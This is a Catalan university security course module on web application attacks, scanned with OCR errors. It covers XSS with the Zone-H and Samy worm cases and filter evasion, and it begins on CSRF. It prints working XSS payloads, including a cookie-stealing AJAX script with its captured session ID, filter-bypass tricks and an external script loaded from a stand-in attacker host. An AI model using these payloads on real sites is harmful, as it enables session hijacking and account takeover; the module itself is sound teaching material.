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Introduccio

La creixent rellevancia que tenen avui dia les aplicacions web fa que l'estudi
de vulnerabilitats i problemes de seguretat en aquestes sigui un camp molt

important en el conjunt de la seguretat informatica.

En aquest modul veurem algunes de les principals vulnerabilitats que afecten
les aplicacions web. Per a aix0 veurem els atacs més significatius que es po-
den fer sobre aquest tipus d'aplicacions en el cas que aquestes presentin una
implementacio eficient. Es important remarcar que hi ha més possibles atacs
i vulnerabilitats associats a aquest tipus d'aplicacions. No obstant aixo, una
analisi exhaustiva requeriria més detall, complexitat i extensio, per la qual co-
sa s'ha optat per fer émfasi en els atacs més importants i estesos actualment.

El modul queda dividit en tres seccions, que mostren tres tipus diferents
d'atacs. D'una banda, en el primer apartat es presenten els atacs d'injecci6 de
scripts, en que es posa l'accent en els atacs de cross site scripting (XXS), cross
site request forgery (CSFR) i clickjacking. A continuacio, en el segon apartat, es
presenten els atacs d'injeccié de codi, concretament els atacs d'injeccié SQL i
injeccié6 LDAP. Finalment, en el tercer apartat es descriuen els atacs d'injeccio
de fitxers que permeten l'execucié de codi remot.

Tots aquests atacs i vulnerabilitats generalment s'aprofiten de l'arquitectura
especifica d'aplicacions web i no solen ser adaptables a aplicacions més tradi-

cionals.
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Objectius

Els objectius que es persegueixen amb I'estudi d'aquest modul sén els segiients:

Entendre la complexitat i diversitat de les vulnerabilitats d'aplicacions
web.

Estudiar els atacs de cross site scripting (XSS) i la seva conseqiiéncia en les
aplicacions.

Coneixer l'existencia d'atacs d'injeccié d'ordres com la injecci6é SQL i la
injeccié LDAP.

Coneixer la possibilitat de I'execuci6 de codi en servidors remots amb tec-

niques com les d'inclusié d'arxius remots i locals.



© FUOC « PID_00178950 7 Atacs a aplicacions web

1. Atacs d'injeccio de scripts

Sota la denominacié d'injecci6 de scripts s'agrupen diverses tecniques que com-
parteixen el mateix sistema d'explotaci6 pero persegueixen diferent finalitat.
El fet de separar-les en categories diferents atén inicament al proposit de fa-
cilitar la fixaci6 dels objectius perseguits.

Un atac per injecci6 de codi es planteja com a objectiu aconseguir injectar en
el context d'un domini un codi Javascript, VBScript o simplement HTML, amb
la finalitat d'enganyar l'usuari o suplantar-lo per fer una acci6é que no vol fer.

Un fet que ha de quedar molt clar és que, en aquest tipus d'atac, 1'afectat
directament no és el servidor, com ho podria ser en el cas d'un atac
d'injecci6 SQL, sin6 l'usuari, que és l'objectiu directe. Posteriorment, si
l'atac és reeixit, mitjancant suplantacié de personalitat es podran exe-
cutar les accions desitjades en el servidor afectat, al qual es podra acce-
dir des d'una pagina web.

Aix0 ha implicat que les fallades d'injeccié de scripts no siguin considerades
com a amenaces critiques per part d'alguns sectors de la seguretat informatica,
que fins i tot declaren que errors d'aquest tipus no podrien arribar a compro-
metre la seguretat d'un lloc web. Com es demostrara al llarg d'aquest apartat,
la injecci6 de scripts pot arribar a ser tan perillosa com qualsevol altra tecnica

si se'n coneix el limit i el potencial.

A continuaci6é anem a exposar dos casos reals relacionats amb XSS (cross site
scripting), en els quals la seguretat d'algun lloc web ha quedat compromesa.
Malgrat l'escepticisme d'alguns, XSS pot permetre 1'obtenci6 de privilegis sobre
algun sistema prou feble per a permetre inserir codi Javascript.

Zone-H

El primer dels casos és el de Zone-H, pagina dedicada a mantenir un registre dels
llocs atacats als quals s'ha modificat 'aparenca de la pagina principal, la qual cosa en
argot es denomina defacement. Aquest lloc registra també els autors identificats de les
accions malicioses. Resulta ironic que fossin ells mateixos els atacats.

El metode usat pels atacants va consistir a enviar a un dels administradors del lloc
un correu electronic al seu compte de Hotmail, on recentment havien localitzat una
fallada d'XSS. Explotant l'error van aconseguir robar la seva galeta de sessié i amb
aquesta van poder visitar el lloc web de Zone-H. Una vegada aqui van sol-licitar una
recuperacio de la contrasenya que, evidentment, es va enviar al correu electronic que
havien segrestat préviament. Amb aquest compte d'administrador del lloc no els va
quedar més que publicar una noticia que incloia codi HTML, especialment escrit per
a col-locar sobre la resta de la pagina el contingut que volien posar.

MySpace


http://www.zone-h.org
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El segon cas real, utilitzat com a exemple, en queé I'XSS va aconseguir comprometre la
seguretat d'un lloc, va ser el protagonitzat per Samy Worm i MySpace. Samy és un noi
dels Estats Units que va detectar una vulnerabilitat d'XSS en el famés portal MySpa-
ce. Per explotar aquesta fallada, i aprofitant els seus coneixements de programacio

Javascript, Samy va crear el que després es coneixeria com a Samy Worm.

Un cuc informatic és un programa que es replica entre sistemes afectats per la matei-
xa vulnerabilitat. En un entorn web, un cuc seria un codi Javascript que es replica
entre els perfils dels usuaris del lloc. I aix0 va ser el que va fer Samy amb el seu cuc,

replicar-lo en més d'un milié de perfils de MySpace.

El cuc no era especialment maligne. Unicament efectuava tres accions: es replicava
com qualsevol cuc, afegia l'usuari de Samy com a amic de la persona infectada i incloia
la frase "but most of all Samy is my hero" en l'apartat d'herois personals de cada perfil.

En menys de 24 hores va arribar a bloquejar el sistema de MySpace i els administra-
dors de la xarxa van haver de detenir el servei mentre netejaven els perfils dels usuaris
infectats. Samy el van detenir i el van condemnar a pagar una multa economica, fer
un mes de tasques per a la comunitat i complir un any d'inhabilitaci6 per a treballar
amb ordinadors.

2 MSN Search: site:myspace.com “samy is my hero” - Mozilla Firefox

PRI T ¥ AL L sm—— 1 30 [}
Web Desktop News Images Local i

site:myspace.com "samy is my hero"

+Search Bulder  Settings  Help  Espafiol

Web Results

Page 1 of 3,497 results containing site:myspace.com “samy is my hero" .10 seconds)

www.myspace.com/gasp

. Scariest Places on Earth Fear The Adventures of Pete and Pete Heroes but most of all, samy is my hero. between
the buried and dee.'s Details Status: Single Sign: Taurus between the buried and .
www. myspace.com/gasp  C: e

www.myspace.com/much_babbelry

.Yun, C.S. Lewis, Alfred the Great, Dave Slater, Mother Teresa, Mr. Lepp. but most of all, samy is my hero.
Jordan/Yoda/Clambo's Details Status: Slngle Here for: Frtends Orientation: Straight ..
wwaw. myspace.com/much_babbelry Cached page 10/

www.myspace.com/
... delete here) Place your text or pictures here (stop deleting here) Heroes but most of all, samy is my hero. Groups:
Family guy , Hip Hop Worldwide , Graffiti Artists , kingdom hearts View All Dre 4 eva's ..

profile.myspace.com/findex. cim?fuseaction=user.viewprofile&friendID=28651794.

www.myspace.com/skippingten

.. hitp:#www.myspace.com/skippingten james's Interests Heroes but most of all, samy is my hero. Groups: Mare rock
than a crack house..Hellen fan club , *Bobbi Billard* (Tons of FREE ...

www. myspace. com/findex. cfm?fuseaction=user.viewProfile&ftiendID=4553048... Cached page 10/5/2005

www.myspace.com/phonograph
... drake and josh, fresh prince of belaire Books anonymous diaries Heroes but most of all, samy is my hero. Groups:
Jeff K4 Prez , Lexi Rasmussen FanClub , The Sunset ...

www. myspace.com/phonograph  Cached p

www.myspace.com/tensecondstolove

Slngle Here for: Friends Orientation: Stralght Hormetown: toronto Bodly ...
wwaw. myspace. com/tensecondstolove  Car 1

www‘mysgace‘comlimamick

Beach Living , jeromes .
myspace.comfimamick (

www.myspace.com/big_heart_on

. but most of all, samy is my hero. Straightlacket Feeling's Details Status: Single Here for: Dating, Serious
Relatlonshlps Friends Orientation: Bi Hometown Fraser MI Body Type: 5'4

www. myspace.com/big_heart_on Cache

www.myspace. com/mrclancy

File Edit View Go Bookmarks Tools Help O

. trailer park boys, that 70s show, listed, powerhour Heroes but most of all, samy is my hero. Michelle's Details Status:

... dont really watch that much TV. Heroes but most of all, samy is my hero. Groups: AWESOME people , {Bob Marley} ,

L laat + m i N - ha DAkt LA RealeTha liata Daalos oo

Done &l

Cerca que retornava més de 3.000 pagines amb el text "samy is my hero"

Aquests dos casos reflecteixen perfectament com de critica pot arribar a ser
una vulnerabilitat XSS i la resta de les seves variants per a la seguretat d'un lloc

web, malgrat 'opini6 dels qui no les consideren com a tals.
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1.1. Cross site scripting (XSS)

El cross site scripting és la base de totes les altres técniques que s'analitzaran en
aquest modul, de manera que és fonamental entendre correctament tots els
conceptes que s'expliquen a continuacioé.

Quan es parla d'execuci6 remota de codi és necessari considerar com es fa la
interacci6 amb la pagina. Evidentment, tota peticié enviada al servidor sera
processada per aquest, i, en funcié de com la interpreti, sera o no factible un
atac mitjancant XSS.

Una pagina és vulnerable a XSS quan alldo que nosaltres enviem al servidor
(un comentari, un canvi en un perfil, una cerca, etc.) es veu posteriorment
mostrat a la pagina de resposta. Aixo0 €s, quan escrivim un comentari en una
pagina i podem llegir posteriorment el nostre missatge, modifiquem el nostre
perfil d'usuari i la resta d'usuaris ho pot veure, o fem una cerca i ens mostra
el missatge "No s'han trobat resultats per a <text>", s'esta incloent dins de la
pagina el mateix text que nosaltres hem introduit. Aqui és on comencarem a

investigar per aconseguir introduir el nostre codi XSS.

Una vegada s'ha detectat una zona de l'aplicacié que en rebre text procedent
de l'usuari el mostra a la pagina arriba el moment de determinar si és possible
utilitzar aquesta zona com a punt d'atac d'XSS. Per a aix0 és possible inserir
un petit codi Javascript que mostra un missatge d'alerta a fi de descobrir rapi-
dament si s'esta actuant en la linia correcta d'atac. Per als exemples s'utilitzara
el codi segiient:

<script>alert ("Hola Mén!");</script>

El codi anterior sera valid per a 1a majoria dels casos, encara que, com es veura
posteriorment, determinats filtres anti-XSS poden impossibilitar 1'as de certs
caracters a 1'hora d'introduir el codi Javascript (les cometes dobles o els carac-
ters < i > solen estar prohibits).

Exemple

Imaginem que disposem d'un perfil en una xarxa social on ens permeten modificar la
nostra descripci6 personal. En lloc d'escriure una informaci6 diferent en aquest apartat,
s'introdueix el codi Javascript anterior. Si en visitar de nou el nostre perfil es mostra una
finestra d'alerta amb el missatge "Hola Mo6n!" es pot afirmar que la pagina en qiiestio és
vulnerable a XSS.

Dins de les possibles fallades d'XSS podem distingir dues grans categories:

e Permanents. L'exemple comentat en el paragraf anterior pertany a aques-
ta categoria. La denominacio6 es deu al fet que, com mostrava aquest exem-
ple, la finestra d'alerta en Javascript queda emmagatzemada en algun lloc,
habitualment una base de dades SQL, i es mostrara a qualsevol usuari que
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visiti el nostre perfil. Evidentment, aquest tipus de fallades d'XSS sén molt
més perilloses que les no permanents, que es comenten a continuacio.

¢ No permanents. Aquesta categoria queda il-lustrada amb el cas que ara
s'esmenta. Ens trobem amb una pagina web que disposa de cercador, el
qual, en introduir una paraula inventada o una cadena aleatoria de carac-
ters, mostra un missatge del tipus: "No s'han trobat resultats per a la cerca
<text>", en que <text> és la cadena introduida en el camp de cerca.
Si en la cerca s'introdueix com a <text> el codi Javascript indicat abans, i
apareix de nou la finestra d'alerta, aix0 significa que l'aplicaci6 és vulne-
rable a XSS. La diferéncia és que, aquesta vegada, els efectes de l'accié no

sOn permanents.

Ara cal fer una recapitulacié de conceptes. XSS (cross site scripting) consisteix
en la possibilitat d'introduir codi Javascript en una aplicacié web, la qual cosa
permet fer-hi una serie d'accions malicioses. Per a injectar el codi es localitza
una zona de la pagina que per la seva funcionalitat incorpori dins del seu propi
codi HTML el codi Javascript que anteriorment s'ha introduit en algun lloc de
l'aplicacié. Si aquest codi s'ha escrit en algun camp que queda emmagatzemat
en una base de dades de manera permanent, es mostrara cada vegada que un
usuari accedeixi a la pagina. No obstant aixo0, les vulnerabilitats més habituals
s6n les no permanents. En aquests casos és necessari recorrer a l'enginyeria
social per a efectuar l'atac. Per a aix0 és necessari fixar-se en primer lloc en

I'URL de la pagina, que haura de ser similar a aixo:

http://www.victima.com/search?query=<script>alert ("Hola Mén!");</script>

Una vegada es disposi d'aquesta URL, s'haura de procurar que la victima faci
clic a sobre, i executi el codi Javascript. Aquesta situaci6 correspondria ja a un
altre ambit d'estudi, com és l'enginyeria social.

1.1.1. Atacs

Anem a comentar a continuaci6 les possibles implicacions de seguretat que
pot presentar una fallada d'aquest tipus. Cal considerar que es tracta tinica-
ment d'idees generals i que el limit el posen la imaginacié de l'atacant i les
funcionalitats de l'aplicaci6é objectiu de l'atac.

e Presa del control del navegador. Un atac d'XSS pot prendre el control del
navegador de l'usuari afectat i, com a tal, fer accions en 1'aplicacié web.
Si s'ha aconseguit que un usuari administrador executi el nostre codi Ja-
vascript les possibilitats d'actuacié maliciosa sén molt superiors. Per po-
sar un exemple, sera possible des d'esborrar totes les noticies d'una pagi-
na fins a generar un compte d'administrador amb les dades que nosaltres

especifiquem. Si el codi Javascript és executat per un usuari sense drets
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d'administraci6 es podra fer qualsevol modificaci6 associada al perfil espe-
cific de l'usuari en el lloc web.

e Phishing. Una altra acci6 possible per efectuar fent as d'aquestes tecniques
és la pesca. Mitjangant Javascript, com hem vist, podem modificar el com-
portament i I'aparenca d'una pagina web. Aix0 permet crear un formulari
d'entrada fals o redirigir la tramesa d'un d'existent cap a un domini sota
el nostre control.

e Atacs de defacement. Podem executar atacs de defacement recolzant-nos en
técniques que exploten vulnerabilitats XSS. Com ja s'ha esmentat, el defa-
cement no €és més que la modificacié de l'aparenca original d'una pagina
web perqué mostri un missatge, normalment reivindicatiu, en lloc de la

seva aparenca normal.

e Atacde denegacio6 de serveis distribuits. Encara que menys habitual, també
és possible fer un atac de denegacio de serveis distribuits (distributed denial
of services, DD0S). Per a aix0, es forcara els navegadors, mitjancant codi
Javascript, que facin un ts intensiu de recursos molt costosos en amplada

de banda o en capacitat de processament d'un servidor de maera asincrona.

e Elcuc XSS. Per finalitzar amb aquesta enumeraci6 de possibles tipus d'atacs
fets basant-nos en XSS, se cita el del cuc XSS. Aquest es definiria com un co-
di Javascript que es propaga dins d'un lloc web o entre pagines d'Internet.
Suposem l'existéncia d'una fallada XSS en la descripcié personal dels usu-
aris d'una xarxa social. En aquesta situacié, un usuari malintencionat po-
dria crear codi Javascript que copiés el codi del cuc en el perfil de l'usuari
que visita un altre perfil infectat i que, addicionalment, fes algun tipus de
modificaci6 en els perfils afectats.

Com es pot comprovar, les possibilitats que ofereix 1'XSS s6n realment amplies.
Les tniques limitacions existents es deuen a la impossibilitat d'executar codi
fora del navegador, atés que la sandbox sobre la qual s'executa no permet 1'accés
a fitxers del sistema i a les funcionalitats que ofereixi el lloc web objecte del
possible atac.

1.1.2. Metodes per a introduir XSS (cross site scripting)

Per a exposar les diferents metodologies que permeten introduir codi Javas-
cript en una pagina vulnerable a XSS, anem a desenvolupar una serie de prac-
tiques de la tecnica. S'abordaran els metodes més comuns per a inserir el codi
maliciés generat. Els metodes exposats s'anomenaran en funcié de les zones

de codi de l'aplicacié web on quedara situat el codi Javascript introduit:

e El codi es copia entre dues etiquetes HTML. Es la manera més senzilla.

Simplement hem d'introduir el codi Javascript que volem executar.
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<script>alert ("Hola Mén!");</script>

e El codi es copia dins d'una etiqueta value duna etiqueta <input>.
L'exemple basic és el dels cercadors en llocs web que s'ha descrit anterior-
ment. Quan fem una cerca amb aquests 1'habitual és que el terme introduit
es copii dins del camp del cercador. Aixo, en HTML quedaria com el codi
que es mostra a continuacio:

<input type="text" name="q" value="[cerca]" />
Com es pot observar, el nostre codi queda situat entre unes cometes dobles
d'un atribut pertanyent a una etiqueta HTML que no permeten que aquest
s'executi. Per aix0 sera necessari tancar l'etiqueta HTML en la qual ens
trobem i posteriorment inserir el codi Javascript.
"/><script>alert ("Hola Mén!") ;</script><div class="
La combinaci6 resultant quedaria com s'indica a continuaci6:

<input type="text" name="q" value=""/><script>alert ("Hola Mdén!");</script><div class="" />

Al final del codi generat s'ha introduit una etiqueta <div> per a evitar

d'aquesta manera que el codi HTML quedi malmes.

e Fl codi es copia dins d'un comentari HTML. Aquest cas sol ser comu en
pagines mal programades que deixen missatges de depuraci6 dins del codi
font HTML. Un exemple del que podriem trobar en una situacié d'aquest
tipus és el seglient:

<!-- La cerca ha estat "[cercal]" -->
En queé [cerca] correspondria a la cadena de text cercada. En aquest cas
s'haurien de tancar els caracters de comentari HTML, introduir el nos-
tre codi Javascript i posteriorment tornar a obrir els comentaris HTML.
D'aquesta manera, el codi creat per nosaltres s'hauria de compenetrar per-
fectament amb el codi original de la pagina.

--><script>alert ("Hola Mén!") ;</script><!--
La combinacié adequada podria ser com la mostrada a continuacio:

<!-- La cerca ha estat "--><script>alert ("Hola Mén!") ;</script><!--" -->

e Fl codi es copia dins d'un codi Javascript. Aixo és habitual quan les

pagines utilitzen dades introduides per l'usuari per a generar algun tipus
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d'esdeveniment personalitzat o emmagatzemar els que s'usaran posterior-
ment en algun altre lloc de 'aplicacié web. La sintaxi seria com la segiient:

<script> var cerca = "[cerca]"; </script>

En aquest punt no és necessari incloure les etiquetes <script>, sin6 que
podem introduir directament el codi Javascript, com es reflecteix en la
sintaxi segiient. No haver d'incloure les etiquetes <script> sera important

quan sigui necessari evitar els filtres anti-XSS que les eliminen.

";alert ("Hola Mén!");//

Hem utilitzat les barres al final de la sintaxi per a aconseguir que la resta
de la linia Javascript quedi comentada i no interfereixi en l'execucio6 del
nostre codi. Aquesta circumstancia és ara encara més determinant que
quan ens trobem incorporant el codi generat al codi HTML, ja que si el
Javascript no és valid la majoria dels navegadors no l'executaran. Final-

ment, el codi quedaria de la manera segilient:

<script> var cerca ="";alert ("Hola Mén!");//";</script>

e Altres casos. Els que hem especificat anteriorment sén els exemples més
comuns en els quals trobarem que el nostre codi Javascript s'inclou dins
del codi HTML d'una pagina. En els casos indicats s'ha partit del suposit
que no hi ha filtres anti-XSS implementats. Al costat dels anteriors hi ha
altres casos més complexos per a la inclusié de codi Javascript, com pot
ser fer-ho en capgaleres HTTP.

1.1.3. Disseccio d'un atac

Per a entendre millor el funcionament d'aquesta técnica anem a analitzar un
atac des de l'inici fins al final.

L'atac consistira en el robatori de la galeta de sessi6 de l'usuari administrador
d'un lloc web. La galeta de sessi6 consisteix en un petit fitxer (de fins a 4 kB)
que conté un identificador Gnic i que s'envia des del nostre navegador al costat
de cada peticié que fem cap a un servidor. Aquest identificador, associat a un
usuari que ha entrat satisfactoriament en el sistema, evita haver d'introduir les
seves credencials per a cada pagina que l'usuari visita dins d'un mateix domi-
ni. Per tant, si obtenim l'identificador d'un altre usuari i I'enviem al servidor,

aquest ens associara en tot moment a l'usuari que estem suplantant.
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El pas principal en tota analisi a la recerca de vulnerabilitats de tipus XSS en
una pagina web és localitzar zones funcionals d'aquesta que permetin la in-
troduccié de text en qué aquest es torni a mostrar, bé de manera permanent
si queda emmagatzemat en una base de dades, bé de manera no permanent

si no és aixi.

En el cas mostrat en la imatge seglient, la pagina web ofereix un servei de
missatgeria entre usuaris que pot ser un exemple simple per a un possible atac
XSS.

Ahora con un 15% mas de comunidad

Enviament de missatge

Per a determinar si un camp, ja sigui un parametre des de I'URL, o un camp
de text on sigui possible escriure, és vulnerable a XSS, anem a introduir una
série de caracters per comprovar si hi ha algun filtre anti-XSS. Els caracters per
introduir serien:

e Cometa simple ()

e Cometa doble (")

e Angle positiu (>)

e Angle negatiu (<)

e Barra (/)

e Espai()

Si som capacos d'introduir aquests caracters hi ha un alt percentatge de possi-
bilitats de trobar alguna fallada d'XSS. No obstant aix0, no en podem assegu-
rar 'existéncia de manera totalment definitiva, i sempre hi ha la possibilitat

de trobar algun altre tipus de filtre que ens impedeixi introduir paraules clau
com script, onload o javascript.
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En l'escenari que ara es planteja es pot introduir qualsevol tipus de caracter
o cadena de caracters després de verificar que aquests no son filtrats ni blo-
quejats. Anem a aprofitar-nos d'aquesta situaci6 per a generar el nostre primer
atac d'XSS.

En el camp Per a: escriurem el nostre nom d'usuari, eviluser. D'aquesta manera,
totes les proves que fem s'enviaran directament a aquest usuari, per a evitar
alertar 'usuari administrador. En el camp del cos del missatge introduirem un
text amb codi Javascript que ens mostri un missatge "Hola Mén!", com ho
feien exemples anteriors. El resultat del codi introduit abans d'enviar-lo es pot

veure a continuacio:

<script>
alert ("Hola Mundo!"):;
</scripty|

XSS abans de ser enviat

En aquest punt és important detenir-nos i analitzar el que ocorrera quan fem
clic en el bot6é Envia-ho. Encara que siguem nosaltres els que hem introduit i
enviat aquest codi, la vulnerabilitat XSS encara no haura estat explotada. Ai-
X0 ocorrera quan naveguem amb el nostre usuari eviluser fins a la seva safata
d'entrada. Es per aixo que les fallades d'XSS es diferencien de la resta de técni-
ques. Després de prémer Envia-ho i desplacar-nos a la safata d'entrada obtin-
drem una finestra d'alerta amb el missatge especificat.

Realment, el que ens interessa de l'anterior és analitzar com ha quedat el codi
font HTML resultant dels passos anteriors i tal com ens el retorna el servidor:

<a href="index.php?action=delete"><img src="trash.png" />Borr
<a href="index.php?action=logout"><img src="system-log-out.pn

<div class="contenido">

<p class="autor">De: eviluser</p><p class="mensaje"><script>
alert ("Hola Mundo!"):

</script></p></div>

</div>
</body>

Codi font HTML amb XSS

Com es pot observar, tots i cadascun dels caracters que hem introduit han
quedat emmagatzemats en la base de dades i s’han copiat en el codi HTML
generat, sense que s'hagi aplicat cap filtre.
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Una vegada demostrat que podem executar codi Javascript en la pagina,
s'estara en disposici6 de comencar a jugar amb les seves funcionalitats.
D'aquesta manera sera possible crear un codi que tanqui automaticament la
sessié de l'usuari o esborri tots els seus missatges. La llista de possibilitats
d'accions malicioses seria interminable.

En I'exemple que estem exposant anem a desenvolupar una accié de més gra-
vetat, per a la qual utilitzarem tecnologia AJAX (asynchronous Javascript and
XML) i enviarem missatges de manera automatica utilitzant per a aixo el comp-
te de l'usuari. D'aquesta manera aconseguirem que 1'usuari que rebi el nostre
missatge ens envii a la nostra safata d'entrada un missatge que conté la seva
galeta de sessio. Si ho enviem a un usuari amb privilegis administratius acon-

seguirem un control total sobre 1'aplicacio.

Generalment sera necessaria una bona base de Javascript per a explotar de
manera satisfactoria qualsevol fallada d'XSS. En tal cas, aquests coneixements
hauran de ser avancgats. Aqui es facilitara un codi completament funcional que
analitzarem linia per linia perque se'n pugui entendre 1'objectiu.

<script>

d = "&to=eviluser&enviar=Enviar&missatge=La meva galeta és: "+document.cookie;

if (window.XMLHttpRequest)

{

x=new XMLHttpRequest () ;

else

x=new ActiveXObject ('Microsoft.XMLHTTP'") ;

x.open ("POST", "func/send.php", true) ;

x.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded"') ;

x.setRequestHeader ('Content-Length',d.length);
x.send(d) ;

</script>

Aquest codi Javascript ens permetra recollir la galeta de sessi6 de 'usuari. De
manera totalment transparent per a l'usuari afectat, aquest ens la enviara mit-

jancant un missatge. Comencem a analitzar-ho:
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e Inicialment es declara una variable d. Aquesta conté els valors de &to
&enviar i &missatge, que son les variables que s'envien en l'aplicacié quan
enviem un missatge. Un detall important que cal observar és el contingut
de la variable &missatge, document.cookie, un objecte del DOM de la pagina
que conté totes les galetes associades al domini actual.

e En les linies segiients es fa un if...else que ens assegura la creacié d'un ob-
jecte de tipus XMLHttpRequest tant en navegadors Internet Explorer com
en Firefox o similars. Aquest objecte és 1'usat per a fer les peticions AJAX.

e Amb open() establim les condicions que s'utilitzaran per a enviar el formu-
lari. Aquest sera enviat per POST a I'URL func/send.php. Aix0 s'obté ana-
litzant de nou el formulari d'enviament. Mitjancant true s'indica que la
peticio sera feta de manera asincrona, aixo és, el navegador no es quedara

"congelat" mentre s'envia el missatge.

e Les dues linies segiients, en les quals fem una crida a la funci6 setRequest-
Header(), s'usen per a establir capgaleres HTTP que facin que el servidor
web entengui que el que estem enviant és un formulari, encara que l'usuari

no l'hagi emplenat.

e Per acabar, s'invoca send() passant-li com a parametre la variable d que te-
niem creada des del principi del codi. Amb aix0, el navegador fa les acci-
ons definides anteriorment i, si tot ha sortit bé, I'usuari afectat ens enviara
la seva galeta de sessio.

Per verificar que l'atac s'esta efectuant segons el previst, anem a enviar un
missatge a l'usuari admin i des d'un altre navegador iniciarem sessié amb el
nostre usuari per comprovar aixi que el codi compleix amb la seva comesa.

Type', 'application/x-www-form-
urlencoded') ;
X.setRequestHeader ('Content-

Length',d.length);
x.send(d);

</script>

iQue pagina mas chula!

| Enviar |

XSS abans de ser enviat

Com es pot apreciar en la imatge anterior, s'ha afegit un missatge en el cos de
I'enviament perque l'usuari administrador no sospiti en rebre un missatge buit.
Després de prémer el botd Envia-ho, 1'usuari eviluser solament s'haura d'asseure
a esperar recarregant la seva safata d'entrada fins que rebi un missatge d'usuari
admin amb el valor de la seva galeta de sessio. El codi Javascript enviat es podra

DOM

DOM s6n les sigles de docu-
ment object model. Es una ma-
nera d'anomenar qualsevol
element d'una pagina web,
des de la barra d'adreces fins
a un simple text en negreta
mitjancant una nomenclatu-
ra jerarquica. Per exemple,
tots els elements HTML d'una
pagina estan relacionats en
document.body.
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observar dins del codi font, per0 passara completament desapercebut per a
l'usuari admin quan aquest inicii sessié amb el seu navegador i se li presenti
automaticament la seva safata d'entrada.

19 <div class="contenido">

20 <p class="autor">De: eviluser</p><p class="mensaje"><script>

21 d = "sto=eviluser&enviar=Enviaramensaje=Mi cookie es: "+document.cookie;
22 if (window.XMLHttpRequest)

23 {

24 x=new XMLHttpRequest():

25 }

26 else

27 {

28 x=new ActiveXObject ('Microsoft.XMLHTTIP'):
29 }

30 X.open ("POST", "func/send.php", true) ;

31 X.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
32 X .setRequestHeader ('Content-Length',d.length);

33 X.zend(d);

34 | </script>
35 iQue pagina mas chula!</p></div>

37 | </div>
20 < Mhndurs

Codi HTML rebut per I'usuari admin en obrir la seva safata d'entrada

Aquest codi ha estat interpretat pel navegador de 1'usuari admin i automatica-
ment s'ha enviat un missatge a l'usuari eviluser amb la galeta de sessio.

De: admin

Mi cookie es: PHPSESSID=77vas7ms17vvul3nqgbevn8ra7

Missatge rebut per I'usuari eviluser

Amb aquesta informacio6 en poder seu, 1'usuari eviluser pot procedir a modificar
el valor de la seva galeta amb el valor rebut. D'aquesta manera, quan el seu
navegador l'envia al servidor, aquest respon amb les pagines corresponents a

1'usuari admin.

Aquesta demostraci6 és un clar exemple del potencial que pot arribar a im-
plicar un atac basat en XSS. Com s'ha vist, sense coneixer la contrasenya de
I'administrador d'un lloc web hem aconseguit accedir al seu compte.

1.1.4. Filtres XSS

La gran majoria de vegades no sera possible escriure codi Javascript directa-
ment, a diferéencia del que s'ha fet en I'exemple anterior. Habitualment, els
programadors hauran establert una serie de regles per a intentar evitar les fa-
llades XSS. No obstant aix0, habitualment els filtres utilitzats son implemen-
tacions parcials del que hauria de ser un filtre anti-XSS complet, i aixo ens
permet introduir el nostre codi Javascript salvant les dificultats addicionals
que es presentin.
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Anem a plantejar una serie de mesures de proteccié que ens podem trobar
i com passarem les limitacions imposades per aquestes. Aix0 ens servira per
a entendre com pensa un atacant a l'hora d'introduir codi XSS i millorar
d'aquesta manera les nostres possibles implementacions de filtres anti-XSS.

Quan introduim ' 0 " aquests caracters es canvien per \' o \"

Aquesta teécnica és coneguda com a "escapar els caracters" i és util enfront
d'injeccions SQL, encara que no ho és enfront d'atacs XSS. Quan intentem tan-
car una etiqueta HTML, com hem vist anteriorment, i ens trobem que s'estan
escapant les cometes, es poden donar dues situacions, totes dues salvables per
part de l'atacant:

e L'etiqueta queda tancada com a \' o \", cosa que en HTML és totalment
valida, per la qual cosa podem continuar introduint codi Javascript.

<input type="text" name="q" value="\" /><script>alert (document.cookie) ;</script>

e Ens és impossible establir la cadena "Hola Mén!" en no poder escriure cor-
rectament les cometes. S6n diversos els metodes que podem fer servr. Per
exemple, podem utilitzar la funcio String.fromCharCode(), que rep una llis-

ta de codis ASCII i genera una cadena:

String.fromCharCode (72, 111, 108, 97, 32, 77, 117, 110, 100, 111, 33)

També és possible establir referencies a fitxers Javascript externs, en queé
podrem usar tots els caracters que vulguem sense preocupar-nos per cap
tipus de filtre:

<script src=http://www.atacant.com/xss.js></script>

El codi introduit no pot ser més gran que x caracters
Una limitaci6 tipica és trobar-nos que no podem escriure més d'un nombre
determinat de caracters. Aquesta limitacié es pot solucionar de nou de dues

maneres:

e Sison diverses les variables en les quals és possible introduir codi Javascript
podem usar la suma dels caracters corresponents a cadascuna per a ampliar
el nombre de caracters disponibles. Aix0 es faria mitjancant els caracters

de comentaris multilinia de Javascript: /* a l'inici i */ al final.

e Si estem limitats a la mida d'un sol camp és possible utilitzar un fitxer
extern per a carregar tot el codi Javascript necessari. Per a reduir la lon-
gitud de l'adreca URL podem usar pagines de l'estil tinyurl.com o is.gd.
Aixi, per exemple, 'URL http://www.victima.com/xss.js queda traduida a

http://is.gd/owyt:
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<script src=http://is.gd/owYT></script>

No podem introduir la cadena script o no ens permet introduir els angles
i<

Encara que inicialment podrien semblar dos casos diferents, al final poden ser
resolts de la mateixa manera. Les etiquetes HTML tenen esdeveniments que
es poden llancgar en océrrer certs successos: OnLoad quan es carrega l'element,
OnMouseOver quan es desplaca el cursor per damunt, OnClick quan es fa clic a
sobre, etcetera. Podem usar aquests elements per a introduir el nostre codi:

<input type="text" name="cerca" value="" OnFocus="alert ('Hola Mén!');

Altres casos

Les técniques d'XSS sén tan variades com puguem imaginar. Cal tenir en
compte que no depenem de la tecnologia del servidor sin6 de la del navegador
que estiguin usant els usuaris. Hi ha técniques per a executar codi Javascript
que funcionen en l'Internet Explorer 7 i no en el Firefox 3, o fins i tot codi
que s'executa en el Safari 3 perd no ho fa en la versié 4. Per aixd no és facti-
ble automatitzar aquesta técnica ni arribar a coneixer-ne tots els secrets, de
manera que l'atacant haura d'utilitzar el seu coneixement i experiéncia per a

aconseguir introduir el codi XSS.

1.2. Cross site request forgery (CSRF)

Una vegada entesa la base de 1'XSS és el moment d'estudiar algunes técniques
concretes derivades d'aquesta i el que és possible fer-hi. Una d'aquestes técni-
ques és la del cross site request forgery (CSRF).

L'CSRF és una técnica amb la qual aconseguirem que l'usuari faci accions no
desitjades en dominis remots. Es basa en la idea d'aprofitar la persisténcia de
sessions entre les pestanyes d'un navegador. Anem a analitzar-la amb un exem-
ple hipotétic per a entendre-la.

Exemple hipotétic de la técnica cross site request forgery

L'usuari obre el seu navegador i entra en el lloc www.llocO01.com. En aquest lloc inicia
sessi6 amb el seu usuari i se li permet fer una série d'accions economiques, com licitacions
